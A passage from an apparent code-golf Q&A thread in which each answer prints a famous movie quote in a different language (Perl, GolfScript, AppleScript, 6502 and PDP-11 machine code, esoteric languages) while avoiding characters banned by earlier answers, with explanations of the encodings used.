9.1415926525897922284626422822795028841971692992751058209749445927078164062862089986280048252421170679821480865102822066470928446095505822017252594081284811174502841027019285211055596446229489549200819644288109756659224461284756482227867801652712019091456485669224602486104542266482122906072602491412727245870066062155881748815209209628292540917152642678925902600112005205488204665212841469519415116094220572702657595919520921861172819026117921051185480744622799627495672518857527248912279281820119491298226720624406566420860212949462952247271907021798609427027705292171762921767522846748184676694051220005681271452605608277857712427577896091726271787214684409012249524201465495852710507922796892589225420199561121290219608640244181598126297747712099605187072110499999982729780499510597217228160962185950244594552469082026425222082522446850252619211881710100001278287528865875222082814206171776691472025982524904287554687211595628628822527875907519577818577805221712268066120019278766111959092164201989280952572010654858622788659261522818279682202019520252018529689957726225994128912497217752804791215155748572424541506959508295221168617278558890750982817546274649292192550604009277016711290098488240128582616025627076601047101819429555961989467678274494482552797747268471040475246462080466842590694912902126770289891521047521620569660240580281501925112522824200255876402474964722629141992726042699227967822547816260092417216412199245862150202861829745557067498085054945885869269956909272107975092029552211652449872027559602264806654991198818247977525662698074265425278625518184175746728909777727928000816470600161452491921722172147722501414419725685481612611572525521224757418494684285211219071941411145477624168625189815694855620992192221842725502542568876717904946016514668049886272127917860857841818279679766814541009518817861609506800642251252051171929848960841284886269456042419652850222106611864067442786220891949450471207107869609560640719172874677646575729624128908658526459958144904780275900994657640789512694681981525957098258226205224894077267194782684826014769909026401161944074550050682004962524517490996514014298091906592509072216964615157098580874105978859597729754989001617509284681582686818689427741559918559252459519594110499725246808459872716446958486518167162226260991246080512418841904512441065497627807977156914059977001296160894416948685558484060504220722258284886481584560285060168427094522674676788952521085225499546667278209864565961160548862005774564980055906045681740241125150760694794510965960940252288797108941456691468672287489405601015045086179286809208747609178249285890097149096759852612655497818921297848216829989487226588048575640142704775551121796414515217462141645428584447952658678210511411547157195211114271661021159695162114429524849071871101457654005902799044007420070105785090621980874478084784896800214457108687519405064002184501910484810050706146806749192781911979499520614196644287544406447451247181921799985910159195618146751426912297489409071864942219615679452080951465502252216028819101420917621178559566189177870810190697920771467221825625996615014215010680184477145492026054146659252014974428507125186660021124140881907104860017046496514509057962685610055081066587969981605747060840525714591028970641401109712062804090097595156771577004200078699060072005587601764594218741251471205429281918261861258674215791984148488291644706095752706957220917567116722910981690915280175506712748582222871825209252965725121081579151169882091444210067510114671101141267111169908658516198115019701651511685171417657618151556508849099898599821871455281116055076479185058902261854896021029000898570642046752590709154814165498594616071802709819940099244889575712828905920200260972997120844005742654895822911912597461667105816041428118810120182490175898524174417029112765618091771444010707469211201910020000080197621101100449290215160842444859607669848952286847841245526582141449576857262452441892029686426242410771226978028071189154411010446821252716201052652272111660196665571092547110557851760466820650109896526918620564769012570586056620185581007295606598764861179104511488501461116576867502494416680096265797877185560845529654126654085006140444018586769751456614068007002078776591044017127494704205622005089945610140711270004078547002699090814546646458807972708266840654228587856981052158089110657574067954571617752542021149557615814002501262285941102164715509792592109907965471761255176567511575178296664547791745011299614890104619947112962107140407518957059614589019089710111790429782856475002001986915140287080859904801094121472210179476477726224142548545400021571850061422881075850400600217518297986622471721591607716692547487589866549494501146540628421661917900197692656721461851067160965712091807618127166416274888800786925602902284721040117211860820419000422966171196177921117575114959501566049611862947265470642520081770067515906705020507280540567040086740510622224771589150495009844489000096040878076922599297805419541447477441842641298608099888687411260472156951621965864571021611598191195167151812974167729478672422924654166800980676928218280689964004824154017014161149658979409241217896907069779422062508221688957080798620001590776471651228905786015881617557829705200446042815126272007040146501977774160419906655418765979292144195215411418994854447145671811624991419111814809277771018618771411772075456545122077709212019051660962804909261601975988281610020166606528619026686006062705676000544776280050450777205547105859548702790814056240145171806246446267945612754181440785202262542127819449751824172058151114771199260618111467768796959701098119110771098704085910074641442822772604659470474587847787201927715280701767907707157210444700605700700492406901108050490160128404251219256517980694114528015147012047816417885185290928545201165819141965621149141415956258658655705526904965209858011850722426482919728584781161057777560688876446248246857926019515277148010480290058760758251047470916409610626760449256274204208020856611906254540072101505958450687724602901618766795240616042522577195429162991900645507799140070404028752628889609958794757291746426057455254079091451457111469410911949525191076020825202618798521887705842972591677812149699009019211697172727847684726860849001177024242916511005005168121164150189517029891922114517220118128069650117844087451960121228599171621110171144484640900890644954440061986907548516026027505298049187407866808818008510228004508504860825009002100219715518400605455007668282949004127765527929751754612955984684494618104746119966518581518420568511862186725211402810871121282789212507712629461229561989898915821167456270102181564622010496715188190970008119800497040720961006854066441949509790190699659552452005450580685501956720229219119119185680144901982059551002261505061920419947455085908102242955449597785779024742161727111724641415419478221818528624085140066604410258885698670540154706965747458550002521142107101545940516551790686627000799585115625784022988270720198987571415957811196458440059408750681216028764962867446047746491599505497274256269010490277819868259181465741268049256487985561451721478671101904688080406046555794986419270561872911748721120807601120029911067908627089408799062016295154100714248928007220126901475466847654576164774794675200490757155527819655621222926406160116158155907422020201187277605277219005561484255518792510141511984425122141576200610642506090497500865627109505919465897514101004822769006247405060256916078154781811528406679570611086150215044521274759245449454246828860611408414861776700961207151249140410272518607648216141411462151897576645216411767969011495019108575984421919862916421909949072062046468441170940026591840440780510008945257420995082965912285085558215725001071257012668002402929525220118726767562204154205161841604847565169998116141010029960780869092916040288400269104140792886215078424516709087000699282120660418471806555567252522567522861291042487761825829765157959847015622262914860014158722980514989650226291748788202714209222245119856264766914905562842501912757710284027998066165825488926488025456610172967026640765590429099456815065265105171829412701169110785178609040708667114965580404047690085781711086455870678120014587687126600489109095620099090610010291616152881484479099042517472261948045759114911405297614757481191567091101177517210080115590248510906692017671922011229094114676851422144771790907517004406619910400075111705471918550464490260655128162288244625759160000091072250807421821408805086572917715096828874782656995995744906617585441475221970968140800515598491754171818819994469748676265516582765848158845114277568790029095170281529716144562129640415211176006651012412006597558512761785818292041974844216080071910457618912049229279650198751872127267507981255470958904556057921221000546697499215610254947802490114195212182815109114079070860251522742995818072471625916685451000120948049470791191502670400282441860414262629548000448002670496248201792896476697585184271414251702969214889627668440121260927524960157996469256504916818160900121809290459588970695065049406004021665440755890045602882250545255640564482465151875471196218440965825007540885690941100015095261790780029741207665147909425902989695946995565761218656196722786256256125216420862869222104274889218654164802296780705765615144612046927906821207188177814211562821608961208068222468012248261177185896181409181901671672220888121511755600072798094004152970028780076670944474560104556417254070906979096122571429894671540578468788614445812014590571984922528471605049221242470141214780570455105008019086996000027604787081081754501192071412254908661918119529425786905076411006181519814189141596111854147546495569781018290097164651408407007070604112070599840452251610507027056205266012764848008407611800100527902054274628654006026745228651057065874882256981579267897669742205750596854408697450201410206724585020072452256426511410559240190274216248419140159989515194590944070469120914091870012645600162174288021092764579110657922955249887275846101264816999892256959688159205600101655256175678566722796619885782794848855814197518744545512965604404800966420557982906804052202770984294202500022576041807009476994159791594500069752148290066555661567874640054666564165474217045902521229542529169414599041608751201868179170214888689479151071617852902145292440771659495610510074210871426114974595615118498711757047101787957110422969066670214498617464595280824569445789772 ``` Output is quote 81: ``` "Hello, gorgeous." - Fanny Brice ``` [Previously forbidden:](https://codegolf.stackexchange.com/a/40593/16120) `py3\" ';({s[)` What ? Pi without `3` ? My interpreter here (sorry about the rudimentary UI, based on this [answer](https://codegolf.stackexchange.com/a/28734/16120)) : <http://migl.io/projects/pi/index.php> [Answer] # 79. Perl 5, uses no `.` ``` $PRINT=lc q|PRINT|and$Q=chr 0x22 and$C=q|C|and$ARPE=lc q|ARPE|and$W=chr 0x20 and$DIEM=q|diem|and$T=chr 46 and$SEIZE=q|Seize|and$THE=q|the|and$DAY=lc q|DAY|and$BOYS=lc q|BOYS|and$MAKE=q|Make|and$YOUR=lc q|YOUR|and$LIVES=lc q|LIVES|and$EXTRA=lc q|EXTRAORDINARY|and$JOHN=q|John|and$KEAT=q|Keating|and eval qq|$PRINT q^$Q$C$ARPE$W$DIEM$T$W$SEIZE$W$THE$W$DAP,$W$BOYS$T$W$MAKE$W$YOUR$W$LIVES$W$EXTRA$T$Q$W-$W$JOHN$W$KEAT^| ``` Output is quote 95: ``` "Carpe diem. Seize the day, boys. Make your lives extraordinary." - John Keating ``` [Previously forbidden:](https://codegolf.stackexchange.com/a/40597/32353) `py3\" ';({s[)<+` --- As a TMTOWTDI language, Perl offers lots of way to get around the restrictions. The method used here is to construct the statement `print "that quote"` as a string, and evaluate it. Although `'` and `"` are banned, Perl additionally allows expressing strings using `q«…»` and `qq«…»` respectively. And although `;` is forbidden, as all statements are not falsy, we could use `and` to chain together statements. Since the uppercase letters `P`, `Y`, `S` are still allowed, we could put `p`, `y`, `s` into the final string using the `lc` (lowercase) function, while `chr` can be used to put the symbols `"` and . [Answer] # 54. [CaneCode](http://esolangs.org/wiki/CaneCode) (uses no `Q`) (New lines and spaces are not necessary.) ``` 111111111111 1111111111111111111111 8111111111111111111111111111 111111111111111111111111118111111 1111811111111811111111111822222222222 222222222222222222222222222222222222222 222222222222222222222222222222222281111111 111111111111111111111111111111111111111111111 11111111111111822222222222222222222222222222222 2222222222222222222222222222222281111111111111111 111111111111111111111111111111111111111111111111111 11111111118222281111181111111828222222222222222822222 2222222222222222222222222222222222222222222222222222822 222222222281111111111 1111111111111111111 1111111111111111111 11111111111111111 111111111111111111 1111822222222222 222222222228111111 118111111111118 2222222222222222 222222222222222 2222222222222222 22222222222222 2222222222222222 22222228111111 111111111111111 11111111111111 111111111111111 1111111111111 11822222222222 2222222222222 2222222222222 2222222222222 22222222222222 2811111111111 1111111111111 111111111111 1111111111111 1111111111111 1111111111111 118222281111 181111111828 222222222222 222822222222 222222222222 222222222222 222222222222 2222222222282 2222222222222 8111111111111 1111111111111 1111111111111 1111111111111 1111118111111 1111111111111 1118111111822 222222222222 2222222222222 222222222222 2222222222222 222222222222 2222222222222 222222228111 1111111111111 1111111111111 1111111111111 1111111111111 1111111111811 1111118111118 2222222222222 2222222222222 222222222222 2222 2222222222222 2222222222222 22281111 111111111111 1111111111111 1111111111 1111111111111 11111111111111 11111111111 8222222222222 2222222222222 2222222222222 22222222222222 22222222222222 22222222222222 22228111111111 1111111111111 111111111111111 11111111111111 11111111111111 1111111822282222 81111111111111 11118222222222 2222282222222222 2222222222222222 222222222222222 22222222222222222 2222222222811111 111111111111111 11111111111111111 1111111111111111 1111111111111111 11111111181811111822222222222281811 11182222222222222 222222222222222222222222222222222 22222222222222222 2222222282222222811111111111111 1111111111111111111 11111111111111111111111111111 1111111111111111111111111118222222222222222222228111111 11111111182222222222222222222222222222222222222222222 222222222222222222222222222222222222222281822811111 1111111182222222222222811111111111111111111111111 111111111111111181111111111111111111111181111111 111822822228222222222222222222222222222222222222 22222222222222222222222222222222281111111111111 11111111111111111111111111111111111118111111111 1111118181111111811111818111111118222222222222 2281111111111181111118222222222222222222222222 22222222222222222222222222222222222222222222 222222281111111111111 1111111111111181111 111111111111 1111111811811111111 822222222222222222 222222222222222222 222222222222222222 222222222222222222 222281111111111111 111111111111111111 1111111111111111 111811111111111 11111111111111 11118222222 2222222811 11111811 1118 ``` Output is quote 71: ``` "Wait a minute, wait a minute. You ain't heard nothin' yet!" - Jakie Rabinowitz/Jack Robin ``` [Previously forbidden](https://codegolf.stackexchange.com/a/40900/32353): `"#&'()*+,-./037;<=>@[\]^_ deopsvxXyz{|}~` --- CaneCode is a just another BF derivative, with the mapping: * 1 → + * 2 → - * 3 → < * 4 → > * 5 → [ * 6 → ] * 7 → , * 8 → . --- Just a note: The remaining characters are: * Symbols: `!` `$` `%` `:` `?` ``` * Numbers: `12` `456` `89` * Uppercase: `ABCDEFGHIJKLMNOP` `RSTUVW` `YZ` * Lowercase: `abc` `fghijklmn` `qr` `tu` `w` [Answer] # 6. [Subskin](http://esolangs.org/wiki/Subskin) (uses no `K`) Line 9 in the following program is replaced with something testable. It has 2 trailing newlines, and exactly 64 newlines in total. ``` a a cc 88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888c cc cc cc 8c6ec6862e611a909aefef7133fc410dff7e22f63f7493b2f8e452888467b057b57bea88a311cadb514028e5cdc7397ab03a55e312d5a0a7d93b880f26cfd6c679f780c1f1ce3691cc9d92c228b0159a5f0f0c6a1a7dddec2791621b1782567e16273ff2019feb3d44320fec1073a536acc0b06462 cc 4 a a8 a ac ac a aa aa a aa ac aa ac aa aa c8 8 a8 cc c8 aa ca a8 8 a8 4 ca 4 c8 cc cc ac aa a c8 4 c aa c 8 a8 c4 a8 c8 8 c4 c8 a8 ac aa ``` To make it satisfy the criteria, line 9 should be replaced with the following big number. I think this should be valid just like those Unary variants. * It has 654735956090596524969487305034951423963889232095233272969286710339641355902659268643472907068639271108820740393436106590773296263764644599368304778650025965599516462256150998007466867979237499446604136790740902258939239161694474806322070709923126730285884312696992964524737041784270695028341148581679653336449286721542786198445367766535356729715169565865920807607678630613900722713788172744051264360952312631564221349669353392544934890489839735971199450478008441573743823732948121884000213925749437653114738930413235370596262201712167849715302400000000000000234 digits. * Every digit that has 4109527714173620014271192135615819980149748934951677499623857818618801276212206327654950831404071330954232878836395346962954202538476535987403920483325378835064959624187891476909072253512354662379230835497647226755470473642747146485760293230336401802073590883942400000000000000000 \* k digits to its right is an `a`. So the last digit is an `a` where k = 0, and there are 159321460184447640588063043795531819638245990121854536131792918542864566418397339281153516086677425424423723475531974684547855358001230183547851703274577276601612622258171727288003902331619018508731805969660163575803761844794365403871421372122820829226554024584224464882571689865777 of them. * Every digit that is not on those positions is an `8`. Note that the constructed number is in base 16 (but numbers in the above description is in base 10). If my calculation is correct, it should be the same as the original number in the program mod 8\*(16^234-1)/15. Any number large enough and satisfy this criterion should work, but I don't know how to construct a shorter one with only `4` `8` `a` `c`. Output is quote 1: ``` "Frankly, my dear, I don't give a damn." - Rhett Butler ``` with a leading and a trailing newline. Previously forbidden: ``` ?!"#$%&'()*+,-./01235679:;<=>@[\]^_` AbBCdDeEfFgGhHiIjJklLmMnNoOpPqQrRstTuUvVWxXyYzZ{|}~ ``` Remaining characters: `4` `8` `S` `a` `c` `w`. ### Explanation Subskin is an OISC where the instruction is to subtract, and skip the next instruction if the result is negative. The first 3 fields in the memory is mapped to the instruction pointer, output, and input. The instruction pointer can be used as "goto", and reading it can yield some numbers that aren't otherwise available using the only usable characters. At first I tried to compress the code into the digits in some base. But I couldn't golf it into 64 lines. So I switched to the modulus approach which removed a level of loop. It is basically just the greatest common divisor algorithm. A/B is extracted at each step. Then set A = B and B = A mod B and continue. More accurately, when A>B it increments the current data, otherwise it swaps the numbers and moves the pointer. After that the smaller number is subtracted from the greater number. Finally the self-extraction code overrides something in the loop and breaks it, and it continues to the extracted code. The extracted code is quite straight-forward. ### Code ``` a Start execution at 10. a The first byte of output cannot be suppressed without the minus character. But fortunately it can still output a leading newline, and this is allowed in the question. cc Input, not used. 0 Only used in the extracted code. A (*4) Data number A + 4, or the accumulator at run-time. cc cc cc B (*8) Data number B. cc 4 (*a) Start execution here. It moves A to *a8 at the first time, and the accumulator - 4 to the current position at later times. a Minus 4, which is the smallest addressable number defined at the beginning. a8 (*c) The pointer for self-extraction. Initially it point to the position of A at run-time, and this instruction moves *4 there. Then it is decremented, and the memory before *a8 is used for storing the extracted code. Constant definitions: 0 *ac = current address - 4 = 9. a ac ac *aa = 5. a aa aa *aa = 1. a aa ac *ac = 8. aa ac aa *c8 = 0. aa c8 8 Check if B > A. True at the first time so the initializations could be done. a8 cc c8 If yes, *ca = -1 (just another constant), and skip the next instruction. aa ca a8 If no (B <= A), A -= B. 8 a8 4 Increment the accumulator. It has no effects if B > A. ca 4 c8 If B < A (before the A -= B if that is executed): cc cc ac Go back to the starting position. aa 0 a Reset the accumulator to 4 (which means 0 when writing to the target position). c8 4 c Decrement the pointer for extraction. aa c 8 Swap A and B and A -= B. a8 c4 a8 c8 8 c4 c8 a8 ac Go back to the starting position. aa 0 Finally the extraction code overrides this field and change it to 4, making it a no-op, so the execution continues. 6e Jump to the beginning of extracted code. aa 0 (29 times 0, not used.) a6(*60) The pointer for output. And this just output the character at the pointer. 3 1 60 Decrement the pointer for output. aa 60 60 Check if there is still data to output. 6d 4 6e If yes, continue the output loop. aa 0 a9 If no, access the undefined address *a9 to end the program. 6f(*6d) The position of the end of output. 5e(*6e) The starting position of the output loop. (The reversed data.) X The junk data at the beginning of the extraction. A (*a8) Number A at run-time. ``` ### Generation Assume A and B after the extraction progress to be n and m. It is easy to reverse this progress and get A and B (before the useful data begins) in terms of n and m. And A = an + bm, B = cn + dm. Set A to an arbitrary number that is large enough, and can make n and m both positive (and uses only the available characters). n and m can be calculated using modular inversion. Then B is determined by n and m. But it isn't easy to make B also consist of only those characters. I used an extra step that should only extract some harmless junk data. So the new B would be kA + B where k is a positive integer. It's easy to see such a k exists. But I'm not sure whether it is possible to find one that is short enough to be testable. And I used Fermat's little theorem to find one that works in theory. I have only one #2 language left. [Answer] # 78. Mathematica, uses no `@` ``` 2986092695862452869648821144242466624048554924749885449420879769410086580524-10000011000000001010001000000000000000000000000000000001//#/87790498804444451827485960720854800964024844465254951684711241427814652487~Subtract~100001101000000000000000000000000001010000001000000000000000001000000&//ContinuedFraction//FromCharacterCode ``` Output is quote 76: ``` "Hasta la vista, baby." - The Terminator ``` [Previously forbidden:](https://codegolf.stackexchange.com/a/40604/4558) `py3\" ';({s[)<+.` Generated like so: ``` str = "\"Hasta la vista, baby.\" - The Terminator"; chrs = ToCharacterCode @ str; fraction = FromContinuedFraction @ chrs; n = Numerator @ fraction; d = Denominator @ fraction; ndiff = Boole[# == 3]& /@ IntegerDigits @ n // FromDigits; ddiff = Boole[# == 3]& /@ IntegerDigits @ d // FromDigits; n2 = n + ndiff; d2 = d + ddiff; ``` The program is then: ``` n2 - ndiff // # / d2 ~ Subtract ~ ddiff & // ContinuedFraction // FromCharacterCode ``` with values inserted for `n2`, `ndiff`, `d2` and `ddiff` and all spaces removed. --- My original idea was to use `ToString`, `FromDigits`, `IntegerDigits`, `Partition` and `FromCharacterCode`. However both `FromDigits` and `IntegerDigits` has an `s` in them which I hadn't noticed. [Answer] # 72. x86\_64 assembly (nasm), uses no `*` ``` BITS 64 extern _exit global main q: dd 21111642486/11 dd 7621846918/14 dd 44456111856/24 dd 572619118 dd 21141585696/17 dd 5982995755/11 dd 49922657928/26 dd 27216242192/16 dd 11&~1 main: dd 89851824/6 db 255 db 255 db 255 db 72 db 184 dq q db 72 db 274/2 db 198 dd 2416/2 db 2 dd 87241517818/26 dd 17268/2 db 2/4 db 15 db 5 db 49 db 255 call _exit ``` Uses 61 tabs and 36 newlines. Output is quote 68: ``` "Here's Johnny!" - Jack Torrance ``` [Previously forbidden:](https://codegolf.stackexchange.com/a/40614/4558) `py3\" ';({s[)<+.@=-,X0` This uses a `write` system call with the number `0x2000001`, which probably only works on OS X. Assembling, linking and running: ``` nasm -f macho64 codegolf.asm ld -e main codegolf.o -lc ./a.out ``` [Answer] # 71. GolfScript, uses no `/` ``` :?546]84]616]869]121]295]114]1125]288]872]2149]882]2661]289]1826]544]45]1568]67]97]2162]111]876]1824]65]622]878]2917]2592]582]2418]4197]4965]1644]617]1646]615]?^ ``` Output is quote 69: ``` "They're here!" - Carol Anne Freeling ``` [Previously forbidden:](https://codegolf.stackexchange.com/a/40622/8478) `py3\" ';({s[)<+.@=-,X0*` Thanks to Peter Taylor letting me in on some GolfScript quirks for constructing the string. First, I can get an empty string without using quotes, by assigning the (empty) STDIN contents to a variable (`?` in this case). Then I'm constructing a nested array of numbers which, taken mod 256, are the desired code points. By adding multiples of 256 I can avoid duplicates and numbers containing `0` and `3`. Lastly I push the empty string with `?` and take the symmetric set difference. This flattens the array and coerces it into a string, where GolfScript only cares about the remainder mod 256. [Test it here.](http://golfscript.apphb.com/?c=Oj81NDZdODRdNjE2XTg2OV0xMjFdMjk1XTExNF0xMTI1XTI4OF04NzJdMjE0OV04ODJdMjY2MV0yODldMTgyNl01NDRdNDVdMTU2OF02N105N10yMTYyXTExMV04NzZdMTgyNF02NV02MjJdODc4XTI5MTddMjU5Ml01ODJdMjQxOF00MTk3XTQ5NjVdMTY0NF02MTddMTY0Nl02MTVdP14%3D) [Answer] # 91. [Marbelous](https://github.com/marbelous-lang/), uses no `\` ``` 6D......69 72726F7169 +1+1...... 7460204261 ......+1.. 4C6E726574 2121202D20 6F65206974 206E757420 22526E6170 ..+1...... ``` Output is quote 96: ``` "Snap out of it!" - Loretta Castorini ``` [Previously forbidden](https://codegolf.stackexchange.com/a/40569/29611): `py3` [Answer] # 95. Python ``` print('"I\'m the king of the world!" - Jack Dawson') ``` Output is quote 100: ``` "I'm the king of the world!" - Jack Dawson ``` None forbidden. [Answer] # 73. AppleScript, uses no `0` (All the "spaces" are "tabs", as permitted by OP. There are 25 tabs and 8 newlines.) ``` Set c to 146/2&115&2*16&525/5&116&2*16&115&97&51*2&1111/11&126/2&2*17&2*16&45&2*16&68&114&46&2*16&67&2*52&114&525/5&115&116&525/5&97&2*55&2*16&166/2&122&1111/11&2*54&2*54 Set e to 2*17 Set d to aScii character of e rePeat with i in c Set d to d&aScii character of i end rePeat diSPlaY alert d ``` Output is quote 70: ``` "Is it safe?" - Dr. Christian Szell ``` [Previously forbidden](https://codegolf.stackexchange.com/a/40610/21487): `py3\" ';({s[)<+.@=-,X` --- Here we first construct the variable `c` which is a list of ASCII codes of the quote. In AppleScript, `number & number` produces the 2-element list `{number, number}`, and `list & number` appends the number to the list, so it allows us to avoid using `{` or `,`. Additionally, `&` has lower priority than `*` and `/`, so we can create the whole list in one line, avoiding the `(` or creating variables (which wastes 3 tabs). After that, we convert the list of numbers `c` into the string `d`. Again we use `&` here, since `string & string` is concatenation. AppleScript is case-insensitive, so we could use `diSPlaY` to workaround the `pys` characters. [Answer] # 57. [Burlesque](http://mroman.ch/burlesque/) (uses no `|`) New lines are for clarification only, but the tabs are necessary. There are 4 tabs. ``` ??9!!JJJJJJJJJJJJJJJJ ?iJ ?iJJ ?i?i?i?i?iJJ ?i?i?i?i?iJJ ?i 61118256541846584114424692216989142925962811646445822862641986546895526246185888152124859614142688 41224222121111121111121111211111111114221112222112121211424411124111124222222211114424211211111121 $$6tdfCtiB! j54ia j5ia j29ia j9ia j41?d?d?d?dia j1?dia j59ia j59ia j8?dia j14ia j21?dia j24ia j26ia j41?d?d?d?dia j41ia j48ia j52ia j55ia j61?dia j65ia j68?dia j69?i?i?i?i?iia j69?i?i?i?i?i?i?iia j82ia 86 29B!ZZ1!!1ia 61 21B!ZZ1!!81?d?d?dia 48 26B!ZZ1!!85ia Q ``` Output is quote 87: ``` "Sawyer, you're going out a youngster, but you've got to come back a star!" - Julian Marsh ``` [Previously forbidden](https://codegolf.stackexchange.com/a/40813/32353): `"'&()*+-,./\037;<=>@_[sovy pezxX]^{}~` --- Burlesque is similar to GolfScript, but usually each command is 2-character long. The construction is like this: 1. Burlesque supports arbitrary-precision integer, and also allows conversion to base 36. So we first encode all the lower case characters in base 36: ``` awyeryouregoingoutayoungsterbutyouvegottocomebackastarulianarsh₃₆ == 3379063095879820583038345369081212641008420750861587542962343112066870047037314854758539\ 9600704049₁₀ ``` 2. Unfortunately, this number contains too much 0, 3 and 7, and all arithmetic symbols (`+-*/`) are banned... Usually we could use modulus, but Burlesque uses the sequence `.%` which the dot is also unavailable. Fortunately, the xor operator is strangely `$$`, so we could try to construct this by xor-ing two numbers free of 0, 3, 7. This is the reason of the huge number 41224222…. 3. Finally we insert the remaining symbols like `,`, , etc back into the string. The bad news is the "chr" function uses the sequence `L[` which is again forbidden! The good news is there are various ways to construct an existing string (e.g. `??` creates the version string `"Burlesque - 1.7.3"` which contains a "space"), and then extract (`!!`) a character from it. 4. The increment and decrement operators also use the forbidden characters `.+`, `.-`, nevertheless there are alternatives `?i`, `?d` that have the same effect. Thus we could generate the whole ASCII spectrum from this. [Answer] # 34. 6502 machine code + Apple II System Monitor (uses no `b`) (Uses 1 tab) ``` 262G a!mwfl%mDmqli!flqlPmqljjPfuGf!T%wGK!96H4wGH4K2O!R!F%w9uGwGr?wGi299D!H2T%wGw%K2K!K!96F!9%jjjjjflPwP!fmjjjjjPwfmfm6m%lHjjPwflflflflclclclclfljclflclVljHHjjPqPDClflClflflclclclclclclflflflflflflflflflflflflflflflflflflflflflfljj6mP6 ``` Output is quote 41: ``` "We rob banks." - Clyde Barrow ``` [Previously forbidden](https://codegolf.stackexchange.com/a/41802): `"#$&'()*+,-./01357:;<=>@[\]^_ ABdeEghIJLMNopQksUvWxXyYzZ{|}~` Remaining characters: * Symbols: `!` `%` `?` ``` * Numbers: `2` `4` `6` `89` * Uppercase: `CD` `FGH` `K` `OP` `RST` `V` * Lowercase: `a` `c` `f` `ij` `lmn` `qr` `tu` `w` Run on Apple //e (or emulator). Make sure the tab character is copied as a tab and not spaces. --- This is a combination of the ideas of the [80386 machine code + DOS](https://codegolf.stackexchange.com/a/40771) answer and my earlier [Applesoft BASIC](https://codegolf.stackexchange.com/a/40807) answer. For those unfamiliar, the System Monitor on Apple II computers is a very low-level interpreter/debugger that allows you to modify memory and run code (if you're running a BASIC interpreter, you can enter the System Monitor by doing `CALL -151`). The usual way to enter machine code in the System Monitor would be `<addr>: <hex_byte> <hex_byte> ...`, and running code is done by `<addr>G` (G for "Go"). Entering code in the usual way uses forbidden characters; however, the input buffer for entering a line of text starts at memory 0x200. So, the one-liner tells the System Monitor to jump to 0x262, and then embedded code as ASCII follows. Despite not being an esoteric language, the restrictions on usable opcodes make the code more closely resemble a brainfuck derivative. All that's available: reading memory (but not writing), incrementing & decrementing memory, subtracting from the accumulator, and branching on not 0. Only a couple instructions were patched up: a call to the Monitor routine that outputs a character, and the return to end the program. Disassembly. Note that all characters input get their high bit set: ``` ; Branch here when done to return (patched from E1) 0205- 60 RTS ; ; Output loop: at this point, $EC-$ED points to the beginning of the ; phrase, which starts at 0x21F. Each character is encoded as 2 bytes. ; The ASCII value (with high bit set) is determined by doing: ; 2 - Byte1 - 0xA1 - Byte2, where subtraction with borrow is used (and ; borrow is always set for the first subtraction). ; ; Monitor routine to output (patched from A1 ED F7) 0206- 20 ED FD JSR $FDED 0209- E6 EC INC $EC 020B- A5 ED LDA $ED 020D- C4 ED CPY $ED 020F- F1 EC SBC ($EC),Y 0211- E9 A1 SBC #$A1 0213- E6 EC INC $EC 0215- F1 EC SBC ($EC),Y 0217- D0 ED BNE $0206 ; Computed value 0. We're done, so branch to the return instruction. 0219- F1 EC SBC ($EC),Y 021B- EA NOP 021C- EA NOP 021D- D0 E6 BNE $0205 ; ; Encoded string resides from 0x21F-0x25C ; 025D- EA NOP 025E- EA NOP 025F- EA NOP 0260- EA NOP 0261- EA NOP ; Execution begins here ; First, set up $EC-$ED to point to 0x200. No writes, so ; increment until the values are 0, then increment MSB twice. 0262- E6 EC INC $EC 0264- D0 F7 BNE $025D 0266- D0 A1 BNE $0209 ; Boing! 0268- E6 ED INC $ED 026A- EA NOP 026B- EA NOP 026C- EA NOP 026D- EA NOP 026E- EA NOP 026F- D0 F7 BNE $0268 0271- E6 ED INC $ED 0273- E6 ED INC $ED ; Zero out A, X, Y registers 0275- B6 ED LDX $ED,Y 0277- A5 EC LDA $EC 0279- C8 INY 027A- EA NOP 027B- EA NOP 027C- D0 F7 BNE $0275 ; Patch up tab character to make it a return so Monitor doesn't ; parse anything after the "262G" 027E- E6 EC INC $EC 0280- E6 EC INC $EC 0282- E6 EC INC $EC 0284- E6 EC INC $EC ; "isc" is undocumented instruction that increments memory then ; subtracts the result from accumulator. 0286- E3 EC isc ($EC,X) 0288- E3 EC isc ($EC,X) 028A- E3 EC isc ($EC,X) 028C- E3 EC isc ($EC,X) 028E- E6 EC INC $EC 0290- EA NOP ; Patch up RTS and JSR instructions at 0x205 and 0x206 ; This loop adds 0x80 to the original values to get close 0291- E3 EC isc ($EC,X) 0293- E6 EC INC $EC 0295- E3 EC isc ($EC,X) 0297- D6 EC DEC $EC,X 0299- EA NOP 029A- C8 INY 029B- C8 INY 029C- EA NOP 029D- EA NOP 029E- D0 F1 BNE $0291 02A0- D0 C4 BNE $0266 ; Boing! ; Finish patching RTS and JSR ; "dcp" undocumented "decrement then compare" 02A2- C3 EC dcp ($EC,X) 02A4- E6 EC INC $EC 02A6- C3 EC dcp ($EC,X) ; Patch address of character output call F7ED -> FDED 02A8- E6 EC INC $EC 02AA- E6 EC INC $EC 02AC- E3 EC isc ($EC,X) 02AE- E3 EC isc ($EC,X) 02B0- E3 EC isc ($EC,X) 02B2- E3 EC isc ($EC,X) 02B4- E3 EC isc ($EC,X) 02B6- E3 EC isc ($EC,X) ; Move pointer up to start of encoded string 02B8- E6 EC INC $EC 02BA- E6 EC INC $EC 02BC- E6 EC INC $EC 02BE- E6 EC INC $EC 02C0- E6 EC INC $EC 02C2- E6 EC INC $EC 02C4- E6 EC INC $EC 02C6- E6 EC INC $EC 02C8- E6 EC INC $EC 02CA- E6 EC INC $EC 02CC- E6 EC INC $EC 02CE- E6 EC INC $EC 02D0- E6 EC INC $EC 02D2- E6 EC INC $EC 02D4- E6 EC INC $EC 02D6- E6 EC INC $EC 02D8- E6 EC INC $EC 02DA- E6 EC INC $EC 02DC- E6 EC INC $EC 02DE- E6 EC INC $EC 02E0- E6 EC INC $EC 02E2- E6 EC INC $EC 02E4- EA NOP 02E5- EA NOP 02E6- B6 ED LDX $ED,Y ; Setup done, bounce our way up to the output loop at 0x209 02E8- D0 B6 BNE $02A0 ``` [Answer] # 14. PDP-11 machine code, uses no `O` ``` 4 rar raw rrrlratarltararltararltararlratarltararlratarlratarltararlratarlratarltararlratarltararlratarltararlratarltararlratarltararlra4cw rrrlratarlratarltararlratarlratarlratarltararltararlratarlratarlratarltararlra8cw rrrltararlratarlratarlratarltararltararltararlratarlratarltararlratarlratarltararltararltararlralaw 